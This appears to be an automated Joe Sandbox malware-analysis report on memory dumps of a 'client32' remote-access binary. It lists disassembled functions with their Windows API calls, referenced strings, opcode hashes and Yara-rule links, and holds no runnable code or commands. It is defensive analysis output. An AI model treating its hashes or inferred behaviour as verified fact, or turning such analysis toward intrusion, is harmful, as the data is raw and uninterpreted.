Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp$FileWrite
String ID: <tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td $IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://$https://
API String ID: 1635020204-3154135529
Opcode ID: 1ee18467de2b50961b36ac191e3519ec84f0e18adc4b6e033caa9cb85be21952
Instruction ID: 44b96e65d2693aff714dc80cf82c9d5e02741e67842f845641f16be57889b7bd
Opcode Fuzzy Hash: 1ee18467de2b50961b36ac191e3519ec84f0e18adc4b6e033caa9cb85be21952
Instruction Fuzzy Hash: 3B319F75E4061AABDB00CF95DC45FEEB7B8FF49658F014258E825A7280EB75A504CBA0

Function 11143470 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000001,00000001,1102E392,00000001), ref: 111434D6
GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 111434E8
FreeLibrary.KERNEL32(00000000), ref: 11143524

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

FreeLibrary.KERNEL32(00000000), ref: 11143541

Strings

..\ctl32\util.cpp, xrefs: 1114349C, 111434B7
pdwMinorVer, xrefs: 111434BC
pdwMajorVer, xrefs: 111434A1
DllGetVersion, xrefs: 111434E2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$Free$AddressErrorExitLastLoadMessageProcProcesswsprintf
String ID: ..\ctl32\util.cpp$DllGetVersion$pdwMajorVer$pdwMinorVer
API String ID: 2160193376-301070788
Opcode ID: 2a8fc7a94a46caecedbed327bb066737295b455605f7211d1e2b0150595d0564
Instruction ID: 6a29b7f029b91e0d2268b199c153ab63b6156163618a51e8f8cd3d343416273f
Opcode Fuzzy Hash: 2a8fc7a94a46caecedbed327bb066737295b455605f7211d1e2b0150595d0564
Instruction Fuzzy Hash: 50319375E0412A9BDB04DFA9E880BAEF7F4EF58719F10006EE919E7340DB71A9008B95

Function 110BB5A0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 110BB675
SetCursor.USER32(00000000), ref: 110BB682
SetCursor.USER32(00000000), ref: 110BB685

Strings

*StartPage, xrefs: 110BB647
IsA(), xrefs: 110BB62C
j CB::OnClose(), xrefs: 110BB5C7
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110BB627
*WindowPos, xrefs: 110BB5F2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$Load
String ID: *StartPage$*WindowPos$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$j CB::OnClose()
API String ID: 1675784387-712237611
Opcode ID: 1c6105e7932f0d056cf72b8fb5849ede38305ee900c17f807d9410f09db8cd81
Instruction ID: 74c2bdc869b4bbdbbd78758767e6ba7e5d3ab86a6c16ffb7c9eb54b484d1c885
Opcode Fuzzy Hash: 1c6105e7932f0d056cf72b8fb5849ede38305ee900c17f807d9410f09db8cd81
Instruction Fuzzy Hash: 79219178B00A11AFD711EB29CC90F6AB3E5BF98708F104458E24647791CB75FD41CB99

Function 1112B270 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,?,?,?,?,1102E011,?,?,11194244,Trying to get mac addr for %u.%u.%u.%u,?,000000FF,?,?), ref: 1112B295
GetProcAddress.KERNEL32(00000000,SendARP), ref: 1112B2AE
wsprintfA.USER32 ref: 1112B2FB
wsprintfA.USER32 ref: 1112B313
FreeLibrary.KERNEL32(00000000,?,?,1102E011), ref: 1112B328

Strings

%02x, xrefs: 1112B30D
SendARP, xrefs: 1112B2A8
IPHLPAPI.DLL, xrefs: 1112B288

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Librarywsprintf$AddressFreeLoadProc
String ID: %02x$IPHLPAPI.DLL$SendARP
API String ID: 435568443-4085816232
Opcode ID: 059c12f073bdf147a91715eca9bcb01dfedc32bce9f3742e1109da8ce792d870
Instruction ID: 7d96227945af9bb0c0fa81f266df54215dce15e5fec16fb5673a6d202f8b9dc6
Opcode Fuzzy Hash: 059c12f073bdf147a91715eca9bcb01dfedc32bce9f3742e1109da8ce792d870
Instruction Fuzzy Hash: 87216D75E001299BCB14CFA6CD85AEEFBB8FF8D614F550118EC14A3300E635AE05CBA4

Function 11037230 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11037267

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1103728F
_strncpy.LIBCMT ref: 110372BB
_strncpy.LIBCMT ref: 110372F8
_malloc.LIBCMT ref: 11037332
_strncpy.LIBCMT ref: 11037343
_strncpy.LIBCMT ref: 11037383
_malloc.LIBCMT ref: 110373B6
_strncpy.LIBCMT ref: 110373CC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$_free_malloc$ErrorFreeHeapLast
String ID:
API String ID: 1102513549-0
Opcode ID: 49d6ee828f48e7441e9132c75d4151723e4ca8f50ebe71d103648970c0ae2386
Instruction ID: 5b3f98012d02b14c7d353fffc6174d10c2b98c6782d71c8fdc241da8d4ec8af6
Opcode Fuzzy Hash: 49d6ee828f48e7441e9132c75d4151723e4ca8f50ebe71d103648970c0ae2386
Instruction Fuzzy Hash: 5A5152B5D04225AFDB20CF74CD84BCAFBECAF15348F004595998997240EBB5AA94CFE1

Function 11043710 Relevance: 13.6, APIs: 9, Instructions: 121COMMON

Download Yara Rule

APIs

IsDlgButtonChecked.USER32(?,0000046F), ref: 1104375A
IsDlgButtonChecked.USER32(?,00000470), ref: 1104376D
DestroyCursor.USER32(?), ref: 110437F1
DestroyCursor.USER32(?), ref: 110437FA
DestroyCursor.USER32(00000000), ref: 1104380E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CursorDestroy$ButtonChecked
String ID:
API String ID: 2664327029-0
Opcode ID: 3c7e2840943497a05b97604098b0971d67cbf230661a95a93ee622ec4e9ca818
Instruction ID: 913a87f5d1f4dae196699e1681375fdf05d89e945816625d83c4ba874613c616
Opcode Fuzzy Hash: 3c7e2840943497a05b97604098b0971d67cbf230661a95a93ee622ec4e9ca818
Instruction Fuzzy Hash: CA31B2B9F08B1297F620CB75CCC0F57B3E9AF84714F214578AAA58BA80EA71F841C750

Function 11065420 Relevance: 13.6, APIs: 9, Instructions: 115COMMON

Download Yara Rule

APIs

OpenPrinterA.WINSPOOL.DRV(?,?,00000000,00000000), ref: 1106547F
GetLastError.KERNEL32(?,?,00000000,00000000), ref: 11065488
GetPrinterA.WINSPOOL.DRV(?,00000002,00000000,00000000,?,?,?,00000000,00000000), ref: 110654FC
GetLastError.KERNEL32(?,00000002,00000000,00000000,?,?,?,00000000,00000000), ref: 11065505
_malloc.LIBCMT ref: 11065519

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

GetPrinterA.WINSPOOL.DRV(?,00000002,00000000,?,?,00000000,?), ref: 11065539
_free.LIBCMT ref: 11065552
GetLastError.KERNEL32(?,00000002,00000000,00000000,?,?,?,00000000,00000000), ref: 1106555C
ClosePrinter.WINSPOOL.DRV(?), ref: 11065569

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLastPrinter$AllocateCloseHeapOpenPrinter._free_malloc
String ID:
API String ID: 2468972630-0
Opcode ID: e189d58571a4b5224f95438dc2af4bc1d130a46c47aba880a9296071b596f7c6
Instruction ID: dd18d64e5e53a4005563cb4be3982e78098f84f3bbcd64b56140ec8fa16c62fe
Opcode Fuzzy Hash: e189d58571a4b5224f95438dc2af4bc1d130a46c47aba880a9296071b596f7c6
Instruction Fuzzy Hash: 73311AB5D0135A5BDB20DFB49C98ADFF7BD9B04348F0045E8E519D7101EA32AE84CB51

Function 110CD550 Relevance: 13.6, APIs: 9, Instructions: 89windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F6C0: GetCurrentThreadId.KERNEL32 ref: 1110F6CE
Part of subcall function 1110F6C0: EnterCriticalSection.KERNEL32(00000000,76963760,00000000,111F0590,?,110CD565,00000000,76963760), ref: 1110F6D8
Part of subcall function 1110F6C0: LeaveCriticalSection.KERNEL32(00000000,7697A1D0,00000000,?,110CD565,00000000,76963760), ref: 1110F6F8

EnterCriticalSection.KERNEL32(00000000,00000000,76963760,00000000,7697A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4
IsDialogMessageA.USER32(00000000,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5CB
LeaveCriticalSection.KERNEL32(00000000,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5E1
DestroyWindow.USER32(00000000,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5F1
LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5FB
LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD611

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Message$EnterSend$CurrentDestroyDialogThreadWindow
String ID:
API String ID: 1497311044-0
Opcode ID: f20bf26288957c11d1734c83877ac0841ecd78f8789a4f1d65426f3f39527bf2
Instruction ID: ce85479676fbbacf97f04baa4819853d041e927657626279fb9dfb9fd4669857
Opcode Fuzzy Hash: f20bf26288957c11d1734c83877ac0841ecd78f8789a4f1d65426f3f39527bf2
Instruction Fuzzy Hash: 7821A176B15219ABE710DF78DC88B9EB7E8EB4C725F1041A5F918D7280E771E9008BE0

Function 1100D390 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,11195920), ref: 1100D3A4
GetProcAddress.KERNEL32(00000000,11195910), ref: 1100D3B8
GetProcAddress.KERNEL32(00000000,11195900), ref: 1100D3CD
GetProcAddress.KERNEL32(00000000,111958F0), ref: 1100D3E1
GetProcAddress.KERNEL32(00000000,111958E4), ref: 1100D3F5
GetProcAddress.KERNEL32(00000000,111958C4), ref: 1100D40A
GetProcAddress.KERNEL32(00000000,111958A4), ref: 1100D41E
GetProcAddress.KERNEL32(00000000,11195894), ref: 1100D432
GetProcAddress.KERNEL32(00000000,11195884), ref: 1100D447

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction ID: 496fda0e4c6754f74ae7accc981fa1b683a1531f66a76574b420f2493807621a
Opcode Fuzzy Hash: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction Fuzzy Hash: BC318A719222349FE756CBE5CCD5B7AFFE9A748B19B00417AD42083248E7B46840CF90

Function 1109D560 Relevance: 13.6, APIs: 9, Instructions: 63fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D56F
CloseHandle.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D589
CloseHandle.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D596
CloseHandle.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5A3
SetEvent.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5B5
CloseHandle.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5BF
SetEvent.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5D1
CloseHandle.KERNEL32(?,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5DB
CloseHandle.KERNEL32(00000000,00000000,?,00000000,1109DD66,?,?,1109E8BF,00000064,00000006,?,11066C00,0000048C,00000001,00000000,NSMWClass), ref: 1109D5E8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$Event$FileUnmapView
String ID:
API String ID: 2427653990-0
Opcode ID: ab6c90776147f09290a5f249941666f4232c26c70d1da2a2b111b21ea067ecfc
Instruction ID: 305866375ee5fc950d06dd2839fb51b543f3d5a1eb7983ef4fa68e21372a5f05
Opcode Fuzzy Hash: ab6c90776147f09290a5f249941666f4232c26c70d1da2a2b111b21ea067ecfc
Instruction Fuzzy Hash: CF11EFB59407489BD720DFAAC8D481AFBF9AE583043514E7EE19AC3650C674E9489B50

Function 11113150 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000007), ref: 11113167
SelectObject.GDI32(00000000,00000000), ref: 11113176
SetBrushOrgEx.GDI32(?,00000000,00000000,00000000,?,11119DB4,?,00000001,00000001,00000000,1111E6D7,00000000,?,00000000), ref: 11113181
GetStockObject.GDI32(00000000), ref: 11113189
SelectObject.GDI32(?,00000000), ref: 11113192
GetStockObject.GDI32(0000000D), ref: 11113196
SelectObject.GDI32(00000000,00000000), ref: 1111319F
SelectClipRgn.GDI32(00000000,00000000), ref: 111131B3
SelectClipRgn.GDI32(?,?), ref: 111131D5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
